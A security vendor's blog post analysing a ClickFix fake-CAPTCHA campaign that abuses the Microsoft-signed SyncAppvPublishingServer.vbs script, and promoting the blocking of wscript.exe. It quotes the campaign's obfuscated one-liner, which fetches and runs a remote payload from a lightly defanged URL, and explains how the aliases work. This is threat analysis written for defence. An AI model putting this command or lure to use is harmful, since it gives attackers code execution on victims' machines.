Blocking ClickFix with Intelligence-Driven Application Control

A new ClickFix campaign is abusing SyncAppvPublishingServer.vbs, a legitimate Windows script that most security teams have never heard of. MagicSword customers have it blocked automatically. Here's what happened and why intelligence-driven blocking matters.

The Attack: Weaponizing a Microsoft-Signed Script

Security researcher Carson Williams discovered a ClickFix campaign leveraging SyncAppvPublishingServer.vbs, marking the first observed use of this LOLBAS script in ClickFix attacks. The technique represents an evolution of the EtherHiding campaign previously documented by Censys.

The attack follows the classic ClickFix playbook: present users with a fake CAPTCHA verification that instructs them to press Win+R, then Ctrl+V, then Enter. What gets pasted is a malicious command that abuses a legitimate Microsoft-signed script:

SyncAppvPublishingServer.vbs "n;&(gal i*x)(&(gcm *stM*) 'cdn.jsdelivr[.]net/gh/service28-discovery-registr/wf45-s5g42-sv78-tyj95/da73')"

The victim sees what looks like a standard verification prompt. Behind the scenes, this command:

1. Invokes SyncAppvPublishingServer.vbs via wscript.exe, a legitimate Windows script related to App-V publishing
2. Exploits a known command injection vulnerability to proxy PowerShell execution
3. Uses obfuscated aliases (gal i*x for Invoke-Expression, gcm *stM* for Invoke-RestMethod) to fetch and execute a remote payload

Because the script is Microsoft-signed and present on every Windows 10/11 system, it bypasses application allowlists that trust Microsoft binaries. EDR solutions often struggle with this pattern, it's a legitimate script host executing PowerShell, which could be normal administrative activity.

Why This Matters: LOLBAS Abuse Is Predictable

Here's what defenders need to understand: this attack wasn't creative. It was documented.

SyncAppvPublishingServer has been cataloged in the LOLBAS project since 2017, with both the VBS script and EXE binary documented as PowerShell execution proxies. The MITRE ATT&CK framework maps these to T1216.002 (System Script Proxy Execution) and T1218 (System Binary Proxy Execution).

The techniques are well-known. The abuse patterns are predictable. The only question is whether your controls are positioned to stop them.

Intelligence-Driven Blocking vs. Full Application Control

There are two paths to application control, and they lead to very different outcomes when attacks like this land.

Allowlisting aims for total control: nothing runs unless approved. In theory, this blocks everything, including SyncAppvPublishingServer abuse. In practice, most organizations spend months in audit mode building allowlists while being protected by nothing. When enforcement finally arrives, Microsoft-signed binaries are often pre-trusted, so Windows Script Host still executes.

Intelligence-driven blocking starts from a different question: what actually gets weaponized?

Instead of enumerating every legitimate application, you enumerate what gets abused. SyncAppvPublishingServer.vbs isn’t “software” in your inventory — it’s a dormant Windows component that only becomes relevant when weaponized, and it depends on wscript.exe, a long-known abuse vector.

MagicSword blocks wscript.exe by default. When this campaign hit, there were no new detections, no alert triage, and no scramble. The script host never launched. The VBS never ran. The PowerShell never executed. The payload was never fetched.

Learn more about how these models compare in practice: Allowlisting vs. Blocking Abuse: Two Paths to Application Control

The Coverage Gap Most Solutions Miss

This is the gap that pure allowlisting or pure EDR approaches miss.

Allowlisting solutions that trust Microsoft-signed binaries will execute wscript.exe because it's legitimate and signed. The attack happens inside your trust boundary - living off the land.

EDR solutions might detect the PowerShell behavior, if their detection logic catches the obfuscated command, if the alert rises above the noise floor, if an analyst triages it before lateral movement occurs. That's a lot of "ifs" between attack and response.

Intelligence-driven blocking addresses the abuse vector directly. MagicSword doesn't trust wscript.exe because we know they get weaponized constantly, not just for SyncAppvPublishingServer, but for countless other script-based attacks. By blocking the script host itself, we eliminate entire categories of abuse without playing whack-a-mole with individual scripts.

The attack chain breaks at the first link.

Precision Over Perfection

The goal isn't to control every binary on the system. The goal is to make attackers regret landing in your environment.

wscript.exe has limited legitimate use in modern enterprise environments. Most organizations have moved beyond VBScript for automation, and the rare legitimate use cases can be handled through targeted exceptions. Blocking them by default creates minimal operational friction while eliminating a massive attack surface, not just SyncAppvPublishingServer, but every VBS-based attack vector.

This is what we mean by threat-informed defense. We're not trying to enumerate your software inventory. We're identifying the execution primitives that attackers depend on and making sure those techniques fail deterministically.

The LOLBAS project documents over 200 techniques. Many of them, like SyncAppvPublishingServer, rely on a handful of script hosts and execution proxies. Block the hosts, and you've eliminated dozens of attack paths with a single rule.

The Path Forward

ClickFix campaigns are evolving. Attackers are moving beyond the usual certutil and mshta abuse to dig deeper into the LOLBAS catalog. Yesterday it was SyncAppvPublishingServer. Tomorrow it will be something else.

But here's the thing: almost all of these script-based attacks flow through the same chokepoints. wscript.exe. cscript.exe. mshta.exe. The attackers aren't getting more creative. They're just finding new ways to abuse the same execution primitives.

Block the primitives, and the entire class of attacks fails.

The question is whether your controls are informed by the same intelligence attackers are exploiting. If you're waiting for detection signatures to catch up, you're always one step behind. If you're blocking known abuse patterns proactively, the attacker's playbook shrinks with every technique you eliminate.

Want to keep up with how modern attacks actually work? Subscribe to the MagicSword newsletter for practical research, real-world attack tradecraft, and prevention-focused intelligence from the team tracking abused tools every day.

If you want to see how this intelligence turns into real blocking, stopping abused tools before they execute, you can book a demo here.